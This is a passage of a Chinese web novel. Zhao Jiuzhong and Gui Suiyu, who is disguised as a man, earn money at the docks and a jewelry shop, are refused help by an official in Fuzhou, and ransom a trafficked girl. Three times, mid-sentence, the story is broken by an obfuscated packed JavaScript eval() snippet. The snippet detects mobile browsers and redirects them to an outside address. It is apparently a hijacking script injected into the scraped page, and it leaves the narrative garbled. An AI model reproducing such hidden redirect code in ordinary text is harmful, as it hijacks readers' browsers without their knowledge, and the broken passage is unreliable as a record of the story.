听听这说的是人话吗? 如果不是找不到没有绳子,他就真应该把她的手脚绑起来睡! *** 赵九重在寺庙里躺了两天,身上的伤好了一些,便出了房间,出去走走。 正巧遇到寺庙里的和尚在争论他们的事。 那叫慧空的黑脸和尚说:“师兄你替那二人诊治,又收留他们两日,已经是菩萨心肠了,咱们师兄弟几个每日都吃不饱呢,怎么能再多他们两个吃白饭的?” “此事我心中有数。”瘦和尚慧明念了声佛,“赵施主的伤还需修养两日,时事艰难,人命如浮萍,既然遇上了,能帮上的还是帮一把吧。” 见大师兄慧明态度坚决,其他人也不再多说什么,唉声叹气地干活儿去了。 赵九重止了步,没再往前走,袖中的拳头不自觉捏紧,最终还是扭头回去了,就当没撞见今天这事。 赵九重又在寺庙的禅房里歇了两日,只是这两日明显比之前都更心事重重一些,就连贺岁愉都发现了。 “你怎么了?”她奇怪道。 赵九重摇了摇头,不欲多言。 贺岁愉撇嘴,不问吧又摆得这么明显,问了吧又不说。 第二日天不亮,赵九重就出去了。 贺岁愉醒过来的时候,旁边的位置已经空了,贺岁愉伸手一摸,床上冰冷,看样子起来有一些时间了。 不会是早起去练武了吧? 不应该啊,他伤还没好,练什么武功? 贺岁愉脑海中闪过什么。 坏了! 这小子不会是眼看着伤要好了丢下她一个人跑了吧?她想起他这两日的心事重重,越想越觉得可疑,准备丢下她,又觉得良心不安,所以才会那样。 贺岁愉一翻身爬起来,迅速穿好鞋子,打开门就跑了出去。 一开门,院子里空空荡荡的,外面也没有赵九重,她几乎绕着禅房找了一圈,还是没找到人。 贺岁愉的心一点点往下沉。 死赵九重!眼看着伤好了丢下她一个人跑了,忒没义气了! 贺岁愉骂了一会儿赵九重,又想到了一些别的事情,那慧明和尚本就是看赵九重伤得实在重,看他们可怜才收留他们的,现下赵九重这个身受重伤的都走了,她还赖在这儿,那群和尚不会赶自己走吧? 不管了,先去吃早饭,等他们赶她的时候再说。 *** 天黑了,赵九重仍然没有出现。 贺岁愉躺在冰冷的小床上,愤愤地咒骂赵九重这个没义气的狗东西! 她骂着骂着,仍觉得不解气,于是躺在床上对着空气挥拳头,好像锤的不是空气,而是赵九重本人一样。 忽然,“吱呀——”一声,门开了。 贺岁愉扭头看去,一个高大的身影,披着满身月光走了进来。 她一眼就认出了来人,“赵九重?” 那黑影应了一声。 贺岁愉从床上坐起来,抱着胳膊审视地看着他,质问道:“你干什么去了?” 赵九重拉长了音嗯了一声,尾音又微微上扬,透露出一种疑问的意味来。 不知为何,贺岁愉觉得他的语气似乎有点奇怪。 原本就已经很不高兴的贺岁愉当然更生气了。 她声音拔高了一些,语气凶巴巴的,怒火几乎喷薄而出,“你嗯什么嗯?我问你话呢!” 赵九重一边窸窸窣窣地脱外衣,一边闷闷地笑。 贺岁愉怒目而视:“少嘻皮笑脸的!有什么好笑的?” 赵九重不紧不慢地回答:“我在笑,你怎么跟人媳妇儿似的。” 贺岁愉整个人愣住,几乎不敢相信自己的耳朵听到了什么。 她脸上的温度瞬间攀升,幸好环境黑暗什么都看不清,语气有些急地反驳:“你说什么呢!” “乱讲话要烂嘴的,赵九重。”她眯了眯眼睛,语气危险,做出了一个双手撕扯的动作,“被我撕烂。” 赵九重似乎今晚心情格外不错,语气轻快地说:“开个玩笑嘛,你一个大男人给别人当媳妇儿,别人还不愿意呢!” “你又没娶妻你怎么知道?” “你怎么知道我没娶妻?” “你娶妻啦?”贺岁愉声音不自觉大了。 赵九重点头,“对啊。” 贺岁愉顿住。 “你……”她声音仿佛卡了一下壳,刚刚语气中的惊讶全然消失不见,只剩下一种诡异的平静与故作淡然,“怎么从来没见你提过?” “因为——”赵九重正对着她站在床边,“是骗你的啊。” 贺岁愉:“……” “想死是不是?”她从被窝里钻出来,跳下床,抡起拳头就要狠狠捶赵九重。 赵九重一边慌里慌张往后退,一边连忙道:“等等——等等——” 他身上的伤本来就没好全,今天又结结实实干了一天力气活儿,再叫贺岁愉打几拳头,他明天又得半死不活地躺回床上了。 “先别急着打我,你看这是什么?”他摊开手心,将一团黑漆漆的东西展示在贺岁愉面前。 贺岁愉被他手心的东西吸引了目光,但屋子里太黑,看不清楚。 她蹙眉问:“这是什么……” 赵九重慢慢地将手心移到了月光能照到的地方。 皎洁的月光照亮了赵九重手心的铜板,在月光下折射出冰冷的金属光泽。 贺岁愉话还没说完,就已经看清了,声音也戛然而止。 “你哪来的钱?”她惊讶地抬起头看他。 赵九重将手里的铜板抛起来,“自然是挣的。” 被抛起来的铜板在半空中碰撞在一起,发出叮呤当啷的声音,然后又纷纷落回赵九重的手掌心。 “废话!我问的是你怎么挣的!” “我今天出去转了一圈,发现码头搬货很缺人,而且一天能开一百多文钱,所以就去搬了一天。” 贺岁愉眼睛一亮,“我明天也去!” 赵九重摇了摇头,“得了吧,就你这小身板,船老大不肯收你。” 贺岁愉气鼓鼓,刚刚涌上头的挣钱念头就被泼了冷水。 她奇怪道:“你怎么突然肯走踏踏实实挣钱的路子了?” “我想挣点儿路费去复州。” “去复州做什么?” “我父亲有个好友如今在复州做官,我看看能不能投奔他去。你可要同我一起去复州看看?” 贺岁愉垂下眼眸,心中思索着。 复州据此千里之遥,去复州的路费必定是一笔不小的开销,这倒也罢了,关键是沿路恐怕会遇到危险,又像他们逃出沧州这一路,如此险象环生怎么办? 贺岁愉心中有些迟疑。 但是赵九重去了复州,她一个人留在青州人生地不熟,没有住的地方,也没有亲戚可以投奔,青州于她也不过是个陌生的地方,能不能安全地活下来也未可知。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995248|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵九重去复州投奔做官的亲戚,那他应该会有个好前程吧?她若这个时候放弃了,那以后赵九重要是吃香的喝辣的,她定然是沾不上光的。 都走到这里了,她不如再赌一赌。 于是,她问:“那你挣路费也给我挣一份么?” 赵九重颇讲义气,拍着胸脯说:“这是自然。” *** 第二日天亮,赵九重出了门,先去找了灵霄寺的大师兄慧明。 他将昨日挣的铜板悉数交给了慧明。 慧明当然不肯收。 赵九重情真意切道:“大师替我诊治,又收留我兄弟二人多日,我知大师行善举不求回报,但是灵霄寺中的情况我也看到了,大师亦有大师的难处。” “大师未曾向我提过半句,但赵某不是眼盲心瞎之人,赵某如今能力有限只能拿出这点儿,已是羞愧,大师勿要再推辞!” 说着,赵九重抓着他的手,硬将手里的铜板塞给了他,没给慧明再推辞的机会,大步离开了。 他出了寺庙,想直奔昨日的码头,刚走到门口,却被贺岁愉拦住了。 “做什么?”赵九重问。 贺岁愉道:“我要跟着你一起去码头。” 赵九重略有点惊讶,大概是没想明白,她去做什么。 贺岁愉见他要问,便提前说了:“你说那船老大不要我就不要我啊?我不能听你一面之词,总得自己去试试吧!” 赵九重乐了,也不再说什么打击她的话。“行,那你就跟我一起去试试。” 赵九重转身走前面领路,视线划过贺岁愉的脸,刚转过去,忽然又转了回来。 他的目光落在贺岁愉脸上。 贺岁愉不自在地摸了一把自己的脸,自然没摸到什么异常。 她被他看得心里毛毛的,又疑惑又烦躁,耐着性子问赵九重:“你看着我做什么?” “你怎么看着愈发秀气了?”赵九重奇怪地看着她,终于找出了问题所在,“哦——你脸上那片冻疮没了。” 天气渐暖,贺岁愉脸上最狰狞丑陋的一大块冻疮慢慢消失了,只留下一些色素沉着,还需要一些时日才能恢复。 若非贺岁愉这些日子风吹日晒,晒黑了不少,皮肤也粗糙了许多,脸上还有深的浅的冻疮留下的色素沉着,不然看起来就更明显是个清秀姑娘了。 贺岁愉早盼着脸上那片冻疮消失了,但是如今真消失了,她心中又不免担忧起来。 赵九重这双不太好使的眼睛都看出她愈发秀气了,不知道她再过些时日,待脸上的冻疮完全好了的时候,依旧扮作男子,还能不能瞒住别人。 贺岁愉手上的冻疮还在,她倒情愿先恢复的是手上的冻疮。 或许是因为难免干一些粗使活计,又时常接触冷水,她手上的冻疮仍然还在,但是没有前些日子天气最冷时那么疼了,只是伤口总是发痒得厉害,让她很是难受。 贺岁愉轻轻挠了一次,不小心挂掉了外面结的痂,里面粉白的肉暴露出来,愈发疼了,重新结痂以后,又和之前一样痒。 贺岁愉便忍着再不敢挠了。 贺岁愉回过神来,见赵九重只是随口说了一句,没有再扒着她长相不放的意思,松了口气。 赵九重给她讲那码头的船老大如何严厉,如何压榨搬货的工人,叫她过去以后机灵点。 他昨日不过才干了一日,就已经得出这许多经验。 贺岁愉听着这船老大是如何的不好相与,心中慨叹,果然,世上没有不压榨的船老大,没有一分钱是容易的啊。 *** 赵九重带着贺岁愉上了码头。 船老大嫌弃贺岁愉太瘦,也不够高大,果然不肯收下贺岁愉。 贺岁愉费劲口舌,他才同意让贺岁愉先搬一袋子试试,能搬得动就留下,搬不动就离开。 贺岁愉看着那边堆积如山的麻袋,每一只大麻袋都装得鼓鼓胀胀,眼前一黑。 贺岁愉原本力气并不算很大,但这些日子时常搀扶受重伤的赵九重,不知不觉,连手臂上的肌肉都练出来了。 她走到麻袋旁边,鼓足了劲儿,勉强搬起了一麻袋的货。 船老大看得直摇头,“赵二啊,你这个表弟实在太不中用,我看在你的面子上勉强让他干一天,但是只能给他算一半的工钱,明天可别来了,来了我也不给开工钱。” 29.第 29 章 贺岁愉搬了两袋子,偶然想起前些日子在山中遇到的那对师徒,便感慨道:“这活儿真应该让老道士那个叫阿瓒的徒弟来做,那孩子一身使不完的牛劲,干这个正合适。” 赵九重点点头,深以为然:“对,我收小弟也应该收个那样的,像你这样肩不能挑手不能提的就不行。” “你!”贺岁愉不服气,“我除了力气没他大,也不比他差!” 话音刚落,贺岁愉反应过来,“诶!谁是你小弟啊?” 赵九重:“你不是我小弟么?你当初怎么说的?想当初你为了跟着我一起离开沧州,可是说得情真意切……” 贺岁愉听不下去,故意扛着麻袋从他旁边过,撞了他一趔趄,“你闭嘴吧你!” 船老大码头上巡视着,正好走了过来,二人也没有机会再说话了。 贺岁愉一开始还没觉得这船老大像赵九重所说那般严厉,后来才发现,他比赵九重说得可恶多了,他是真的不让人休息,把人当驴使。 一个汉子来来回回搬了许多趟,累得满头大汗,里外衣裳都汗湿了,像是水里打捞起来的一样,他一屁股坐在地上大口大口地喘着气。 贺岁愉从旁边经过时,见他休息,心中有些意动。 她也搬了这么久了,要不也坐下来休息一会儿? 贺岁愉正要像那男人一样坐下来休息一下时,不远处的船老大突然大吼一嗓子:“嘿!张牛,你休息多久了?还不赶紧起来搬?干活偷懒,到时候别问老子要工钱!张牛扣五文钱。” 听到扣钱,贺岁愉吓一激灵,也不敢休息了,连忙去堆着货物的那边搬货了。 船老大的声音仍然在身后继续:“李大锤,你喝口水喝这么久?你才搬了几趟,没隔一会儿就喝水,扣五文钱!” 船老大在码头巡视,发现了坐在货物后面的男人,男人脸上的汗水都没干,累得满脸涨红,大口大口地喘粗气。 “牛二,好哇!躲在这里偷懒,扣十文钱!”船老大面目严肃地说。 男人着急地解释:“我就刚坐了一会儿……” “少废话了!再不起来干活儿,就再扣十文钱!” 男人刚开口辩解,船老大就满脸不耐烦地打断了他的话。 听到船老大的话,男人既着急又委屈,却不得不闭上嘴,唉声叹气地继续搬货。 贺岁愉扛着一麻袋货物从旁边经过,目睹全程,心中幽幽叹息一声,从古至今,剥削者的心都一样的黑。 贺岁愉硬着头皮在码头干了一天,几乎是靠意志力坚持下来的,一整天只有最后拿工钱的时候是开心的,下午回家时,她两条腿就跟不是自己的一样,一点儿力气都没有,完全是靠赵九重扶回去的。 她累得沾床就睡,连赵九重喊她起来洗漱都没听见,赵九重拉了她两把,刚拉起来,她又“砰——”一声砸回了床上,反复两次,赵九重也懒得管她了。 她一觉睡到大天亮,睁开眼睛,旁边的赵九重已经走了不知道多久了。 她还是觉得浑身都疼,捶了捶酸痛的肩膀,翻了个身,闭上眼睛,没一会儿就又睡着了。 她在床上躺到大中午才起来。 睡了一觉,发现昨天酸痛的地方更痛了,贺岁愉一瘸一拐地从屋子里走出来,揉了揉饿瘪了的肚子,朝寺庙的厨房走去。 她叹了口气。 算了,这苦力活儿还是不太适合她,还是让赵九重去干吧。 自己还是得找个别的挣钱法子。 *** 贺岁愉歇了一天,第二天一大早沿着街挨家挨户地问。 如今世道乱,生意不景气,招人的地方也少。 她跑了好几条街,一口水都没喝,一直问到下午,才听说隔壁街有一家卖首饰的铺子缺一个理账的先生,贺岁愉问了具体的位置,当即去了。 店门口迎客的伙计见衣衫褴褛、邋里邋遢的贺岁愉站在门口,怕她挡住了客人,连忙过来驱赶她:“要饭的上别地儿去!别站在这儿挡生意!” 贺岁愉看向那伙计,语气不卑不亢,丝毫没有因为身上落魄的衣着而觉得自己低人一等,“我是来应聘的,听说你们招管账的先生。” 或许是贺岁愉的语气太过认真,完全没有开玩笑的意思,那伙计不知是没有听清还是怎的,明显地愣了一下,“你说什么?” 贺岁愉的语气拔高了许多,“我说我来应聘账房先生!” “你?”伙计这回听清了,惊讶得张大嘴,眼珠子瞪得溜圆,又把贺岁愉的话重复了一遍,“你应聘账房先生?” “你耳朵聋成这样?老板也敢放心叫你在门口迎客?”贺岁愉蹙着眉头,嫌弃又不可思议地看着这伙计。 “嘿!你这小叫花子,怎么说话呢?你知不知道账房先生是干什么的,就敢大言不惭地说这种话?” “现在要饭的花样都这么多了?”那伙计满脸不屑地上上下下打量了贺岁愉一番,伸手推搡贺岁愉离开,“小叫花子,你还是别耍花招了,老老实实地上别处乞讨去吧!” 贺岁愉躲开他的推搡,“原来你不是耳朵不好,是狗眼看人低啊!我能不能识文断字,能不能算账,你叫你们掌柜的出来一试便知!” “我们掌柜的可忙着呢,我要真因为你去把他叫出来,他不得骂死我?”那伙计没好气地说,“赶紧滚!赶紧滚!” 贺岁愉并没被他吓到。 “你家店的位置……”她打量了四周一番,回过头来继续说,“地段这么好,找个理账的先生却这么久都招不到,想必是工钱压得极低吧?” “识文断字会算账的,愿意放下身段做账房先生的都有别的好去处,不愿意放下身段的你们也请不动,除了我,你们上哪去找这么合适的人?” 伙计叉着腰,趾高气昂地说:“你这小乞丐,怎么那么不知道天高地厚呢?你要是能做账房先生,我还能当老板呢!” “谁能当老板?”那伙计的身后突然传来一道浑厚的中年男人的声音。 贺岁愉微笑。 伙计这才发觉自己刚刚的声音大得过了头,战战兢兢地回头,露出尴尬和讨好的笑。 “掌柜,我……我那就是随口一说,心里绝对没有这么想……” 贺岁愉对那掌柜的说:“我是来应聘账房先生的。” 掌柜同样不相信贺岁愉能胜任这个工作。 贺岁愉风轻云淡道:“你可以随口出个题,试试便知。” 掌柜的想起早上刚到货的珍珠,开口提问:“某日,购得珍珠六十有六枚,每枚值五文钱,问所费凡几何?” 贺岁愉不假思索地回答:“三百三十文钱。” 见贺岁愉这么快就能回答上来,而且不需要在纸上计算,掌柜的和伙计都小小的惊讶了一下。 伙计并不相信贺岁愉说的是对的,指着贺岁愉大笑道:“你这小叫花子,不会就不会,随口说个数就想蒙混过关?做白日梦呢!” 那伙计上前,又想赶贺岁愉走,身后掌柜却打断了他,“他回答的是对的。” 伙计满脸惊愕地回过头,“怎么可能?原本那个老账房每次算珍珠进价都得算好一会儿呢,这小乞丐怎么可能这么快就算出来!” 掌柜的心道,对啊,他今天早上也算了好一会儿呢,面前这人面黄肌瘦,衣衫破破烂烂,没想到,还真有几分本事。 伙计云里雾里,仍然满脸的不可思议,还是觉得,贺岁愉没准儿是正好撞上了正确答案。 掌柜脸上的表情郑重了许多,又开口问贺岁愉:“已知有一玉石,其进价为十两白银。以之制成一手镯,售银十七两;制成一坠子,售银十两;制成一戒指,售银五两;制成一珠串,售银七两。” “余之残料,制成三对耳环,其售价分别为一两、二两、三两白银。计师傅之工钱,凡六两白银,其间损耗之费, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她把速度把控的很好,从早上听伙计说原本的老账房算账有多慢以后,她就把干活儿的速度控制在比那个账房快一些,但是又不至于快特别多。 一顿饱和顿顿饱,她还是能分得清的。 这家首饰铺开的工钱不高,一天的工钱不到赵九重在码头搬货的一半儿,也就是说,连她前日码头搬货挣到的半价工钱都赶不上。 贺岁愉费尽口舌,从掌柜的口里又抠了十文钱出来,这才和她前日在码头干一天挣得一样多。 虽然工钱不高,但是这活儿对贺岁愉来说,比码头搬货轻松多了,她还是很满意的。 晚上从首饰铺子离开,掌柜给她结了当日的工钱。 这也是贺岁愉好不容易才和掌柜谈下来的日结工钱。 她揣着铜板从街上走过,闻到肉饼的香气,忍不住买了一个。 刚买完,她又觉得吃独食不大好,今天找到了满意的工作,她心中还是很开心的,就当是庆祝,于是十分大方地给赵九重也买了一个。 她揣着香喷喷的肉饼走到寺庙门口,看到在扫院子的光脑袋小和尚,才想起来,寺庙里不能吃荤。 她把热热的饼子往怀里深处揣了揣,快步从前院走过。 *** 码头虽然挣得多,但是活儿又重又苦,赵九重回来得比贺岁愉还要晚一些。 见贺岁愉月亮打西边出来,竟然还会给他买个肉饼,赵九重受宠若惊地接过来。 期间,贺岁愉与他讲自己白日里的威风经历,如何让那首饰铺的掌柜与伙计目瞪口呆,心服口服。 赵九重咽下一口肉饼,转过头来,“我也奇怪,你既然识文断字,读过书,会算账,怎么会沦落街头做乞丐?你的家人呢?” 30.第 30 章 贺岁愉打了个呵欠,随口回道:“不记得了。” “怎么会不记得了?”赵九重诧异。 “之前摔过脑袋,前尘尽忘,睁眼就是乞丐了。”贺岁愉摊手。 她躺在床上,把被子往上拉了拉,盖住下巴,“我不之前就跟你说了,我很可能是流落江湖的富家公子,叫你帮我找到家财万贯又疼爱我的父母双亲,你还不相信。” 赵九重:“……” “你即便不记得了,也不能天天做梦张嘴胡说。”赵九重道。 等了一会儿,没听到贺岁愉的反驳,赵九重低头一看,这才发现,她已经睡着了。 赵九重摇摇头,洗漱结束,也掀开被子躺上了床。 窗外月光皎洁,星星满天。 二人一夜好眠。 赵九重在码头干了半个多月,勉强攒够了去复州的路费。 贺岁愉这些日子在首饰铺子也攒下了一点银子,给自己添置了两身新衣裳还有许多剩余。 赵九重说要动身离开青州前往复州的前两天,贺岁愉又纠结了好一番,但是最终还是决定跟着赵九重赌一把。 赵九重命这么硬,指定有点说法。 贺岁愉有种直觉,跟着他,没准儿真能发一笔财,在这里首饰铺干活儿虽然饿不死,但是她的女子身份也快瞒不住了,前些日子店里就有伙计在议论她这个账房先生秀气得像姑娘似的。 她在青州人生地不熟,孤立无援,若女子身份暴露,寺庙不会留她长住,也未必能保住首饰铺子的活计,到时候面临的难事恐怕更多,还不如跟赵九重一起去复州赌一把。 听他说起他那当官的亲戚是他爹的好友,当年关系很好,应该不至于亏待他,总能给赵九重安排个一官半职的吧,到时候她凭借着和赵九重生死与共的好兄弟关系,应该也能跟着喝口肉汤。 这样一想,贺岁愉又坚定起来了。 她不能只跟着赵九重吃苦,错过了跟他一起享福,这也太亏了。 她离开的时候,那掌柜的还颇为不舍。 毕竟,贺岁愉走了以后,他从哪里找这么好用又这么便宜的账房先生? 掌柜的劝她留下来,说什么如今外面乱,不如就在青州好好呆着,别去什么复州。 贺岁愉玩笑道:“掌柜的既然不舍得我,不如每日多给我开二十文工钱,这样我就考虑留下来。” 掌柜的当即收起不舍的表情,假模假样地说:“话又说回来,小贺你还年轻,年轻人出去闯荡一番也是好事情。” 贺岁愉:“呵呵。”她就知道,这铁公鸡一毛不拔。 介于上次一路逃命出来的经验,赵九重这回选择走水路,和贺岁愉一起搭船去复州。 途中虽然也有许多不顺之事,但是比之前屡次被追杀、差点葬身荒郊野岭之类的磨砺要轻松得多。 数十日后,他们到了复州。 赵九重说的他爹的那个好友如今在复州担任防御使,名叫王彦超,贺岁愉和赵九重多番打听才找到了他的府邸。 贺岁愉打量着这座气派恢弘的府邸,眼馋得很,也不知她这辈子有没有这等好命,住上这么大的宅子。 她满眼羡慕地四处打量时,另一边的赵九重已经在门房处报出他父亲的名字,请门房进去通禀一声。 不一会儿,府门开了。 那小厮问赵九重和贺岁愉,“您二位哪个是护圣都指挥使赵大人之子?” “是我。”赵九重回答,“这位是我同我一起来的好友。” 贺岁愉收起了四处乱看的目光,正色看向那小厮。 “二位请随我来。”小厮说。 小厮在前面引路,赵九重跟在后面,贺岁愉走在最后,边走边好奇地打量府里的布局。 小厮将二人引至门口。 一个皮肤黝黑、面容严肃,周围隐隐有肃杀之气的中年男人正坐在椅子上,见赵九重来了,便起身道:“贤侄,真是好久不见了,你父亲近来可好啊?” 赵九重行礼,恭敬回答:“劳世伯挂心,家父一切安好。” 贺岁愉也站在后面跟着行礼,听着这位王大人与赵九重寒暄。 见这位王大人对赵九重的态度如此热情,那赵九重说的应该都是真的。 贺岁愉心中窃喜,这趟复州她来对了。 “来,快坐。”王彦超请赵九重和贺岁愉坐下,目光落在贺岁愉身上迟疑一瞬,“这位是?” “这是我的好友,此番同我一路过来,我二人……” 赵九重还想说什么,那王大人却忽然笑着说道:“贤侄与友人远道而来,奔波劳累,我已让人备好午膳,我们先用膳吧,其他事情等饭后再聊。” 赵九重面色一顿,只得笑着收住了原本要说的话。 在一旁默默看着的贺岁愉,心头隐隐生出不妙之感,忽然对赵九重这位世伯有些不太放心了。 王彦超招待二人用了午膳。 用过午膳, 赵九重又起了话头,“不瞒世伯说,小侄此番前来,是听说世伯治军严明,英名远扬,所以来投奔,还望世伯能给予晚辈一个为军中效力的机会。” 王彦超避开了赵九重真诚热切的目光,“这……是这样,贤侄也知道,我刚上任复州防御使不久,如今这复州各方势力盘根错节,军中编制已满,实在是无法安插新人呐。” 贺岁愉心头沉重,虽然她早就隐隐有些不祥的预感,但是听到王彦超的话,不由得还是有些气闷。 话说的冠冕堂皇,无非就是不愿意收下他二人的托词,她倒也罢了,对赵九重一口一个贤侄,但是半点忙也不肯帮。 白瞎她大老远跟着赵九重跑来复州了,累死累活,一点光都沾不上。 赵九重听到王彦超的话,心中一紧,想要再替自己争取一下,“晚辈不才,只一身拳脚功夫还算过硬,愿从最基础的杂事做起,只望能跟着将军学些谋略兵法,晚辈日后必定感恩图报。” 王彦超摇摇头,“贤侄年少英才,何必在我这里蹉跎时光呢?” 正说话间,仆从拿着十两银子进来,王彦超将那银子递到赵九重手里,“贤侄不若去其他地方看看,寻一个真正能大展拳脚之地,这十两银子就给贤侄做路上的盘缠。” 王彦超拍了拍赵九重的肩膀。 贺岁愉生怕赵九重一时意气又把钱还给对方,于是心中一紧张,目光下意识落在了赵九重身上。 他可别一时冲动,不该硬气的时候耍些无用硬气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022963|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他们从青州过来这一路,花费不少,原本攒下的银子所剩无几,不拿这十两银子,到时候他俩又得上街乞讨去。 幸好,赵九重最终没把银子扔回去。 他的手紧紧握着那一锭银子,骨节高高凸起,泛着白色。 赵九重脸上没有什么表情,拱手道:“多谢世伯好意,是晚辈叨扰了。” 说罢,赵九重便转身大步离开,迎面的风撩开他的衣摆,让他的背影多了几分决然。 贺岁愉也连忙跟在身后出去。 出了宅邸,赵九重看起来颇为沮丧,贺岁愉倒是还好,可能是因为自从穿越过来以后,她就已经习惯了自己的倒霉。 而且,来复州的前一晚,她做梦梦到过赵九重被他口中的世伯拒绝,当时还暗暗祈祷,梦境是反的,这种晦气的事情可一定不要发生,结果还是发生了。 所以眼下遇到这种事情,她还算接受良好,只是肉痛来复州这一路花掉的那些银钱。 贺岁愉和赵九重走在人来人往的街上,赵九重仍然面无表情,贺岁愉正纠结要不要说点儿什么。 忽然,不远处传来一阵喧闹。 两个大男人正在追一个约莫十八九岁的姑娘,那姑娘形容狼狈,衣衫不整,慌里慌张地在街道上奔逃,即便她已经用了最大的力气逃命,但还是即将被身后的人抓住。 有不少路人驻足围观,对着这场面指指点点,猜测纷纷。 那姑娘忽然朝贺岁愉扑过来,抓住贺岁愉的胳膊,状若癫狂地大喊:“救救我!你救救我!” 贺岁愉被她吓了一跳。 她果然是真倒霉,街上这么多人,这姑娘偏偏挑中了她。 不知为何,她觉得对方看她的眼神颇为奇怪,她想甩开这姑娘,奈何对方抓得太紧,她死活掰不开这姑娘的手。 那两个膀大腰圆的男人转眼到了跟前,凶神恶煞地冲贺岁愉喊:“把人交出来!” 贺岁愉急得额头上汗都出来了,“不是我不交啊,是我真的掰不开她的手。” 她觉得自己的胳膊都要被对方掐断了。 那两个男人上前想要把姑娘从贺岁愉身上拽开,那姑娘嚎啕大哭死死抱住了贺岁愉的腰,“我们好歹也一起被关了那么多天,你救救我吧!我不能被他们带走,他们会折磨死我的!” 贺岁愉叫她勒得喘不过气,听到这姑娘的话有些疑惑,蹙着眉头,低头看像藤蔓一样缠在她身上的姑娘,“你、你认识我?” “你不记得我了?”姑娘惊讶地从贺岁愉身上抬起头,见贺岁愉看她的目光真的满是陌生,着急地解释说:“我是小红啊,被运到沧州前一直和你关在一个笼子里啊!你救救我吧!就看在我们相识一场的份上,我要是被他们带走就没命了,我不想死,你救救我……” 贺岁愉脑海中闪过一些模糊的记忆片段,她想仔细回忆时,却什么都看不清了。 她抓着那鬓发散乱的姑娘,语气凝重地问:“你真的认识我?” 姑娘重重点头,虽然觉得贺岁愉的反应有点奇怪,但是眼下情况如此紧急,她根本顾不得想那么多,只哭着发毒誓:“我真的认识你啊,我要是骗你,天打雷劈,不得好死!求你发发善心,救我一命吧!” 31.第 31 章 贺岁愉本想给点银子将这两个男人打发了,但是这两个男人张口就要二十两银子。 叫做小红的姑娘吓得脸色大变,转头看贺岁愉,生怕贺岁愉听见这二十两银子,嫌弃价钱太高就不愿意救她了。 看到贺岁愉脸上的迟疑和纠结,小红慌了神。 她一边抓着贺岁愉的胳膊,一边扭过头来求那两个男人,“两位大哥你们行行好,二十两银子实在太多了,你们就按照方才窑子里能给出的价格,二两银子,将我卖给这位姑娘好不好?” 赵九重眸光落在小红身上,目光一顿,这位姑娘?何来的姑娘? 贺岁愉听到小红说漏了嘴,脸上神色一慌,连忙去看赵九重,却恰好和赵九重疑惑的目光对了个正着。 她慌不迭避开。 赵九重看着贺岁愉的脸,皱了皱眉。 两个男人对视一眼,其中一个男人说:“我们兄弟俩没把你卖进窑子里,而将你交给你朋友,也是要担风险的,回头要叫夫人知道了,我们兄弟俩的差事就没了。这么大的风险,你不能一点儿油水都不让兄弟俩捞吧?” “对啊。”另一个男人说。 “那你们开口就要二十两银子,这不是把我往死路上逼么?”小红哭得梨花带雨,“二位大哥,求求你们手下留情,我保证明日就离开复州,绝不会叫夫人知晓的。” 贺岁愉听到这两个男人原本是要将小红二两银子卖进窑子里的,结果刚刚开口就问她要二十两银子,贺岁愉都气笑了。 怎么?她看起来像是个冤大头吗? 小红继续劝说:“你们开口就要二十两银子,我这朋友不会愿意的,到时候你们一分多的钱都拿不到,把我卖进窑子里的二两银子回府以后也要上交,你们不如就将我卖给我的朋友,你们到时候将二两银子上交,然后剩下的拿去喝酒,岂不是美事?” 两个男人一想也是,二十两银子贺岁愉一定不会同意,不如少要一点儿,到时候他二人也能多落一些油水。 “那就四两银子,一点儿都不能再少了。” 小红见价钱谈下来了,便转头恳求贺岁愉,“求你替我出了这四两银子,我将来必定十倍还你。” 贺岁愉身上只剩下一两银子,从赵九重那儿拿了三两银子,这才把小红从两个男人手里赎回来。 那男人从怀里掏出小红的卖身契,贺岁愉一手交钱,一手接过了卖身契。 *** 客栈的房间里, 贺岁愉和小红面对面坐着,贺岁愉给自己倒了一杯热茶,“说罢,你当初怎么认识我的?” 小红眼睛都不眨地看着她:“你真的不记得我了?” “摔倒脑袋,之前的事情忘记了。” “好吧,我们当初一起被关在那个笼子里,然后就认识了,路过沧州你逃跑以后,人贩子把我们剩下的人看得特别严,后来我辗转被卖到了复州。” 贺岁愉听到“从沧州逃跑以后”,心里就明白了,她为何一睁眼是沧州的小乞丐。 原主逃跑的时候正是冬天最冷的时候,又冷又饿,冻死了,所以她就穿了过来。 “你知道我是哪儿人吗?” 小红摇了摇头,“我来的时候你就已经被关在笼子里了,我也不知道你是哪儿人。” 贺岁愉挑眉,“那这样说,关于我,你什么都不知道咯?” 这样会让贺岁愉有一种四两银子白花了的感觉。 小红见贺岁愉语气不善,也不大好意思。 脑海中闪过一些当时的片段。 “等等,我记得——”小红艰难回忆着,“当时有一个婆子非要再搜你的身,检查你有没有藏起来的钱和首饰,她说你之前身上值钱的首饰不少,肯定还有藏起来的。” 贺岁愉皱眉。 她问小红:“你是怎么落入人贩子手里的?” 